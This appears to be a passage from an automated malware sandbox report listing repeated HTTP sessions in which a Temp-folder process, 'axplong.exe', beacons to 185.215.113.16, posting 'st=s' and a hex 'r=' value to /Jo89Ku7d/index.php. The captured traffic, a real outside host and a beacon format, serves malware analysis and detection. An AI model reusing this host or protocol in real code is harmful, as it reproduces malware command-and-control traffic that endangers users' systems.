                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:18.838968992 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:18 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            6192.168.2.449736185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:18.949496984 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:19.690799952 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:19 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:19.691633940 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:19.919317007 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:19 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            7192.168.2.449738185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:20.031224012 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:20.777443886 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:20 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:20.778523922 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:21.021801949 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:20 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            8192.168.2.449740185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:21.144756079 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:21.856066942 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:21 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:21.856957912 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:22.085535049 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:21 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            9192.168.2.449743185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:22.201955080 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:22.902400017 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:22 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:22.903342009 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:23.129972935 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:23 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            10192.168.2.449745185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:23.250250101 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:23.949552059 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:23 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:23.957696915 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:24.185142040 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:24 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            11192.168.2.449747185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:24.298501015 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:25.120635033 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:25 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:25.121757984 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:25.384674072 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:25 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            12192.168.2.449748185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:25.498446941 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:26.198019028 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:26 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:26.199155092 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:26.426377058 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:26 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            13192.168.2.449749185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:26.546650887 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:27.264488935 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:27 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:27.265553951 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:27.491336107 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:27 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            14192.168.2.449750185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:27.605814934 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:28.299740076 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:28 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:28.304115057 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:28.527620077 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:28 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            15192.168.2.449751185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:28.653286934 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:29.371143103 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:29 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:29.372488022 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:29.605664968 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:29 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            16192.168.2.449752185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:29.719175100 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:30.440591097 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:30 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:30.441497087 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:30.673533916 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:30 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            17192.168.2.449753185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:30.796148062 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:31.513525009 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:31 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:31.514511108 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
